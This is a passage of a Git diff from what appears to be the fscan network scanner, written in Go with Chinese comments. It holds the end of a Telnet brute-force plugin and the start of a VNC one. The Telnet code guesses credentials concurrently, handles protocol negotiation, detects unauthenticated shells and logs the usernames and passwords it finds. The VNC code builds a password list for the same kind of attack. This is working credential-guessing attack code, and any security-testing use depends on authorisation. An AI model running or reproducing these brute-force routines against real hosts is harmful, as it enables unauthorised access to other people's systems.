||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Telnet扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentTelnetScan 并发扫描Telnet服务
|
||||||
|
func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, credentials []TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *TelnetScanResult, 1)
|
||||||
|
workChan := make(chan TelnetCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryTelnetCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success || result.NoAuth {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据或无需认证,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && (result.Success || result.NoAuth) {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Telnet并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryTelnetCredential 尝试单个Telnet凭据
|
||||||
|
func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &TelnetScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建结果通道
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
noAuth bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 设置单个连接超时
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
go func() {
|
||||||
|
defer cancel()
|
||||||
|
noAuth, err := telnetConnWithContext(connCtx, info, credential.Username, credential.Password)
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
// 连接已超时或取消
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
noAuth bool
|
||||||
|
err error
|
||||||
|
}{err == nil, noAuth, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或超时
|
||||||
|
var success bool
|
||||||
|
var noAuth bool
|
||||||
|
var err error
|
||||||
|
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
success = result.success
|
||||||
|
noAuth = result.noAuth
|
||||||
|
err = result.err
|
||||||
|
case <-connCtx.Done():
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
// 全局超时
|
||||||
|
return &TelnetScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: ctx.Err(),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 单个连接超时
|
||||||
|
err = fmt.Errorf("连接超时")
|
||||||
|
}
|
||||||
|
|
||||||
|
if noAuth {
|
||||||
|
return &TelnetScanResult{
|
||||||
|
Success: false,
|
||||||
|
NoAuth: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if success {
|
||||||
|
return &TelnetScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &TelnetScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// telnetConnWithContext 带上下文的Telnet连接尝试
|
||||||
|
func telnetConnWithContext(ctx context.Context, info *Common.HostInfo, user, pass string) (bool, error) {
|
||||||
|
// 创建TCP连接(使用支持context的socks代理)
|
||||||
|
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", fmt.Sprintf("%s:%s", info.Host, info.Ports))
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
client := &TelnetClient{
|
||||||
|
IPAddr: info.Host,
|
||||||
|
Port: info.Ports,
|
||||||
|
UserName: user,
|
||||||
|
Password: pass,
|
||||||
|
conn: conn,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置连接关闭
|
||||||
|
defer client.Close()
|
||||||
|
|
||||||
|
// 检查上下文是否已取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err()
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
// 初始化连接
|
||||||
|
client.init()
|
||||||
|
|
||||||
|
client.ServerType = client.MakeServerType()
|
||||||
|
|
||||||
|
if client.ServerType == UnauthorizedAccess {
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
err = client.Login()
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveTelnetResult 保存Telnet扫描结果
|
||||||
|
func saveTelnetResult(info *Common.HostInfo, target string, result *TelnetScanResult) {
|
||||||
|
var successMsg string
|
||||||
|
var details map[string]interface{}
|
||||||
|
|
||||||
|
if result.NoAuth {
|
||||||
|
successMsg = fmt.Sprintf("Telnet服务 %s 无需认证", target)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "telnet",
|
||||||
|
"type": "unauthorized-access",
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("Telnet服务 %s 用户名:%v 密码:%v",
|
||||||
|
target, result.Credential.Username, result.Credential.Password)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "telnet",
|
||||||
|
"type": "weak-password",
|
||||||
|
"username": result.Credential.Username,
|
||||||
|
"password": result.Credential.Password,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TelnetClient Telnet客户端结构体
|
||||||
|
type TelnetClient struct {
|
||||||
|
IPAddr string // 服务器IP地址
|
||||||
|
Port string // 服务器端口
|
||||||
|
UserName string // 用户名
|
||||||
|
Password string // 密码
|
||||||
|
conn net.Conn // 网络连接
|
||||||
|
LastResponse string // 最近一次响应内容
|
||||||
|
ServerType int // 服务器类型
|
||||||
|
}
|
||||||
|
|
||||||
|
// init 初始化Telnet连接
|
||||||
|
func (c *TelnetClient) init() {
|
||||||
|
// 启动后台goroutine处理服务器响应
|
||||||
|
go func() {
|
||||||
|
for {
|
||||||
|
// 读取服务器响应
|
||||||
|
buf, err := c.read()
|
||||||
|
if err != nil {
|
||||||
|
// 处理连接关闭和EOF情况
|
||||||
|
if strings.Contains(err.Error(), "closed") ||
|
||||||
|
strings.Contains(err.Error(), "EOF") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理响应数据
|
||||||
|
displayBuf, commandList := c.SerializationResponse(buf)
|
||||||
|
|
||||||
|
if len(commandList) > 0 {
|
||||||
|
// 有命令需要回复
|
||||||
|
replyBuf := c.MakeReplyFromList(commandList)
|
||||||
|
c.LastResponse += string(displayBuf)
|
||||||
|
_ = c.write(replyBuf)
|
||||||
|
} else {
|
||||||
|
// 仅保存显示内容
|
||||||
|
c.LastResponse += string(displayBuf)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待连接初始化完成
|
||||||
|
time.Sleep(time.Second * 2)
|
||||||
|
}
|
||||||
|
|
||||||
|
// WriteContext 写入数据到Telnet连接
|
||||||
|
func (c *TelnetClient) WriteContext(s string) {
|
||||||
|
// 写入字符串并添加回车及空字符
|
||||||
|
_ = c.write([]byte(s + "\x0d\x00"))
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReadContext 读取Telnet连接返回的内容
|
||||||
|
func (c *TelnetClient) ReadContext() string {
|
||||||
|
// 读取完成后清空缓存
|
||||||
|
defer func() { c.Clear() }()
|
||||||
|
|
||||||
|
// 等待响应
|
||||||
|
if c.LastResponse == "" {
|
||||||
|
time.Sleep(time.Second)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理特殊字符
|
||||||
|
c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x00", "")
|
||||||
|
c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x0a", "\n")
|
||||||
|
|
||||||
|
return c.LastResponse
|
||||||
|
}
|
||||||
|
|
||||||
|
// Netloc 获取网络地址字符串
|
||||||
|
func (c *TelnetClient) Netloc() string {
|
||||||
|
return fmt.Sprintf("%s:%s", c.IPAddr, c.Port)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭Telnet连接
|
||||||
|
func (c *TelnetClient) Close() {
|
||||||
|
if c.conn != nil {
|
||||||
|
c.conn.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SerializationResponse 解析Telnet响应数据
|
||||||
|
func (c *TelnetClient) SerializationResponse(responseBuf []byte) (displayBuf []byte, commandList [][]byte) {
|
||||||
|
for {
|
||||||
|
// 查找IAC命令标记
|
||||||
|
index := bytes.IndexByte(responseBuf, IAC)
|
||||||
|
if index == -1 || len(responseBuf)-index < 2 {
|
||||||
|
displayBuf = append(displayBuf, responseBuf...)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取选项字符
|
||||||
|
ch := responseBuf[index+1]
|
||||||
|
|
||||||
|
// 处理连续的IAC
|
||||||
|
if ch == IAC {
|
||||||
|
displayBuf = append(displayBuf, responseBuf[:index]...)
|
||||||
|
responseBuf = responseBuf[index+1:]
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理DO/DONT/WILL/WONT命令
|
||||||
|
if ch == DO || ch == DONT || ch == WILL || ch == WONT {
|
||||||
|
commandBuf := responseBuf[index : index+3]
|
||||||
|
commandList = append(commandList, commandBuf)
|
||||||
|
displayBuf = append(displayBuf, responseBuf[:index]...)
|
||||||
|
responseBuf = responseBuf[index+3:]
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理子协商命令
|
||||||
|
if ch == SB {
|
||||||
|
displayBuf = append(displayBuf, responseBuf[:index]...)
|
||||||
|
seIndex := bytes.IndexByte(responseBuf, SE)
|
||||||
|
if seIndex != -1 && seIndex > index {
|
||||||
|
commandList = append(commandList, responseBuf[index:seIndex+1])
|
||||||
|
responseBuf = responseBuf[seIndex+1:]
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
return displayBuf, commandList
|
||||||
|
}
|
||||||
|
|
||||||
|
// MakeReplyFromList 处理命令列表并生成回复
|
||||||
|
func (c *TelnetClient) MakeReplyFromList(list [][]byte) []byte {
|
||||||
|
var reply []byte
|
||||||
|
for _, command := range list {
|
||||||
|
reply = append(reply, c.MakeReply(command)...)
|
||||||
|
}
|
||||||
|
return reply
|
||||||
|
}
|
||||||
|
|
||||||
|
// MakeReply 根据命令生成对应的回复
|
||||||
|
func (c *TelnetClient) MakeReply(command []byte) []byte {
|
||||||
|
// 命令至少需要3字节
|
||||||
|
if len(command) < 3 {
|
||||||
|
return []byte{}
|
||||||
|
}
|
||||||
|
|
||||||
|
verb := command[1] // 动作类型
|
||||||
|
option := command[2] // 选项码
|
||||||
|
|
||||||
|
// 处理回显(ECHO)和抑制继续进行(SGA)选项
|
||||||
|
if option == ECHO || option == SGA {
|
||||||
|
switch verb {
|
||||||
|
case DO:
|
||||||
|
return []byte{IAC, WILL, option}
|
||||||
|
case DONT:
|
||||||
|
return []byte{IAC, WONT, option}
|
||||||
|
case WILL:
|
||||||
|
return []byte{IAC, DO, option}
|
||||||
|
case WONT:
|
||||||
|
return []byte{IAC, DONT, option}
|
||||||
|
case SB:
|
||||||
|
// 处理子协商命令
|
||||||
|
// 命令格式: IAC + SB + option + modifier + IAC + SE
|
||||||
|
if len(command) >= 4 {
|
||||||
|
modifier := command[3]
|
||||||
|
if modifier == ECHO {
|
||||||
|
return []byte{IAC, SB, option, BINARY, IAC, SE}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 处理其他选项 - 拒绝所有请求
|
||||||
|
switch verb {
|
||||||
|
case DO, DONT:
|
||||||
|
return []byte{IAC, WONT, option}
|
||||||
|
case WILL, WONT:
|
||||||
|
return []byte{IAC, DONT, option}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return []byte{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// read 从Telnet连接读取数据
|
||||||
|
func (c *TelnetClient) read() ([]byte, error) {
|
||||||
|
var buf [2048]byte
|
||||||
|
// 设置读取超时为2秒
|
||||||
|
_ = c.conn.SetReadDeadline(time.Now().Add(time.Second * 2))
|
||||||
|
n, err := c.conn.Read(buf[0:])
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return buf[:n], nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// write 向Telnet连接写入数据
|
||||||
|
func (c *TelnetClient) write(buf []byte) error {
|
||||||
|
// 设置写入超时
|
||||||
|
_ = c.conn.SetWriteDeadline(time.Now().Add(time.Second * 3))
|
||||||
|
|
||||||
|
_, err := c.conn.Write(buf)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
// 写入后短暂延迟,让服务器有时间处理
|
||||||
|
time.Sleep(TIME_DELAY_AFTER_WRITE)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Login 根据服务器类型执行登录
|
||||||
|
func (c *TelnetClient) Login() error {
|
||||||
|
switch c.ServerType {
|
||||||
|
case Closed:
|
||||||
|
return errors.New("service is disabled")
|
||||||
|
case UnauthorizedAccess:
|
||||||
|
return nil
|
||||||
|
case OnlyPassword:
|
||||||
|
return c.LogBaserOnlyPassword()
|
||||||
|
case UsernameAndPassword:
|
||||||
|
return c.LogBaserUsernameAndPassword()
|
||||||
|
default:
|
||||||
|
return errors.New("unknown server type")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// MakeServerType 通过分析服务器响应判断服务器类型
|
||||||
|
func (c *TelnetClient) MakeServerType() int {
|
||||||
|
responseString := c.ReadContext()
|
||||||
|
|
||||||
|
// 空响应情况
|
||||||
|
if responseString == "" {
|
||||||
|
return Closed
|
||||||
|
}
|
||||||
|
|
||||||
|
response := strings.Split(responseString, "\n")
|
||||||
|
if len(response) == 0 {
|
||||||
|
return Closed
|
||||||
|
}
|
||||||
|
|
||||||
|
lastLine := strings.ToLower(response[len(response)-1])
|
||||||
|
|
||||||
|
// 检查是否需要用户名和密码
|
||||||
|
if containsAny(lastLine, []string{"user", "name", "login", "account", "用户名", "登录"}) {
|
||||||
|
return UsernameAndPassword
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否只需要密码
|
||||||
|
if strings.Contains(lastLine, "pass") {
|
||||||
|
return OnlyPassword
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否无需认证的情况
|
||||||
|
if isNoAuthRequired(lastLine) || c.isLoginSucceed(responseString) {
|
||||||
|
return UnauthorizedAccess
|
||||||
|
}
|
||||||
|
|
||||||
|
return Closed
|
||||||
|
}
|
||||||
|
|
||||||
|
// 辅助函数:检查字符串是否包含任意给定子串
|
||||||
|
func containsAny(s string, substrings []string) bool {
|
||||||
|
for _, sub := range substrings {
|
||||||
|
if strings.Contains(s, sub) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 辅助函数:检查是否无需认证
|
||||||
|
func isNoAuthRequired(line string) bool {
|
||||||
|
patterns := []string{
|
||||||
|
`^/ #.*`,
|
||||||
|
`^<[A-Za-z0-9_]+>`,
|
||||||
|
`^#`,
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, pattern := range patterns {
|
||||||
|
if regexp.MustCompile(pattern).MatchString(line) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogBaserOnlyPassword 处理只需密码的登录
|
||||||
|
func (c *TelnetClient) LogBaserOnlyPassword() error {
|
||||||
|
c.Clear() // 清空之前的响应
|
||||||
|
|
||||||
|
// 发送密码并等待响应
|
||||||
|
c.WriteContext(c.Password)
|
||||||
|
time.Sleep(time.Second * 2)
|
||||||
|
|
||||||
|
// 验证登录结果
|
||||||
|
responseString := c.ReadContext()
|
||||||
|
if c.isLoginFailed(responseString) {
|
||||||
|
return errors.New("login failed")
|
||||||
|
}
|
||||||
|
if c.isLoginSucceed(responseString) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return errors.New("login failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogBaserUsernameAndPassword 处理需要用户名和密码的登录
|
||||||
|
func (c *TelnetClient) LogBaserUsernameAndPassword() error {
|
||||||
|
// 发送用户名
|
||||||
|
c.WriteContext(c.UserName)
|
||||||
|
time.Sleep(time.Second * 2)
|
||||||
|
c.Clear()
|
||||||
|
|
||||||
|
// 发送密码
|
||||||
|
c.WriteContext(c.Password)
|
||||||
|
time.Sleep(time.Second * 3)
|
||||||
|
|
||||||
|
// 验证登录结果
|
||||||
|
responseString := c.ReadContext()
|
||||||
|
if c.isLoginFailed(responseString) {
|
||||||
|
return errors.New("login failed")
|
||||||
|
}
|
||||||
|
if c.isLoginSucceed(responseString) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return errors.New("login failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clear 清空最近一次响应
|
||||||
|
func (c *TelnetClient) Clear() {
|
||||||
|
c.LastResponse = ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// 登录失败的关键词列表
|
||||||
|
var loginFailedString = []string{
|
||||||
|
"wrong",
|
||||||
|
"invalid",
|
||||||
|
"fail",
|
||||||
|
"incorrect",
|
||||||
|
"error",
|
||||||
|
}
|
||||||
|
|
||||||
|
// isLoginFailed 检查是否登录失败
|
||||||
|
func (c *TelnetClient) isLoginFailed(responseString string) bool {
|
||||||
|
responseString = strings.ToLower(responseString)
|
||||||
|
|
||||||
|
// 空响应视为失败
|
||||||
|
if responseString == "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查失败关键词
|
||||||
|
for _, str := range loginFailedString {
|
||||||
|
if strings.Contains(responseString, str) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否仍在要求输入凭证
|
||||||
|
patterns := []string{
|
||||||
|
"(?is).*pass(word)?:$",
|
||||||
|
"(?is).*user(name)?:$",
|
||||||
|
"(?is).*login:$",
|
||||||
|
}
|
||||||
|
for _, pattern := range patterns {
|
||||||
|
if regexp.MustCompile(pattern).MatchString(responseString) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// isLoginSucceed 检查是否登录成功
|
||||||
|
func (c *TelnetClient) isLoginSucceed(responseString string) bool {
|
||||||
|
// 空响应视为失败
|
||||||
|
if responseString == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取最后一行响应
|
||||||
|
lines := strings.Split(responseString, "\n")
|
||||||
|
if len(lines) == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
lastLine := lines[len(lines)-1]
|
||||||
|
|
||||||
|
// 检查命令提示符
|
||||||
|
if regexp.MustCompile("^[#$>].*").MatchString(lastLine) ||
|
||||||
|
regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查last login信息
|
||||||
|
if regexp.MustCompile("(?:s)last login").MatchString(responseString) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送测试命令验证
|
||||||
|
c.Clear()
|
||||||
|
c.WriteContext("?")
|
||||||
|
time.Sleep(time.Second * 2)
|
||||||
|
responseString = c.ReadContext()
|
||||||
|
|
||||||
|
// 检查响应长度
|
||||||
|
if strings.Count(responseString, "\n") > 6 || len([]rune(responseString)) > 100 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// Telnet协议常量定义
|
||||||
|
const (
|
||||||
|
// 写入操作后的延迟时间
|
||||||
|
TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond
|
||||||
|
|
||||||
|
// Telnet基础控制字符
|
||||||
|
IAC = byte(255) // 解释为命令(Interpret As Command)
|
||||||
|
DONT = byte(254) // 请求对方停止执行某选项
|
||||||
|
DO = byte(253) // 请求对方执行某选项
|
||||||
|
WONT = byte(252) // 拒绝执行某选项
|
||||||
|
WILL = byte(251) // 同意执行某选项
|
||||||
|
|
||||||
|
// 子协商相关控制字符
|
||||||
|
SB = byte(250) // 子协商开始(Subnegotiation Begin)
|
||||||
|
SE = byte(240) // 子协商结束(Subnegotiation End)
|
||||||
|
|
||||||
|
// 特殊功能字符
|
||||||
|
NULL = byte(0) // 空字符
|
||||||
|
EOF = byte(236) // 文档结束
|
||||||
|
SUSP = byte(237) // 暂停进程
|
||||||
|
ABORT = byte(238) // 停止进程
|
||||||
|
REOR = byte(239) // 记录结束
|
||||||
|
|
||||||
|
// Telnet选项代码
|
||||||
|
BINARY = byte(0) // 8位数据通道
|
||||||
|
ECHO = byte(1) // 回显
|
||||||
|
SGA = byte(3) // 禁止继续
|
||||||
|
|
||||||
|
// 服务器类型常量定义
|
||||||
|
Closed = iota // 连接关闭
|
||||||
|
UnauthorizedAccess // 无需认证
|
||||||
|
OnlyPassword // 仅需密码
|
||||||
|
UsernameAndPassword // 需要用户名和密码
|
||||||
|
)
|
||||||
+273
@@ -0,0 +1,273 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/mitchellh/go-vnc"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// VncCredential 表示VNC凭据
|
||||||
|
type VncCredential struct {
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// VncScanResult 表示VNC扫描结果
|
||||||
|
type VncScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential VncCredential
|
||||||
|
}
|
||||||
|
|
||||||
|
func VncScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 构建密码列表
|
||||||
|
var credentials []VncCredential
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
credentials = append(credentials, VncCredential{Password: pass})
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentVncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveVncResult(info, target, result.Credential)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("VNC扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", len(credentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentVncScan 并发扫描VNC服务
|
||||||
|
func concurrentVncScan(ctx context.Context, info *Common.HostInfo, credentials []VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *VncScanResult, 1)
|
||||||
|
workChan := make(chan VncCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryVncCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
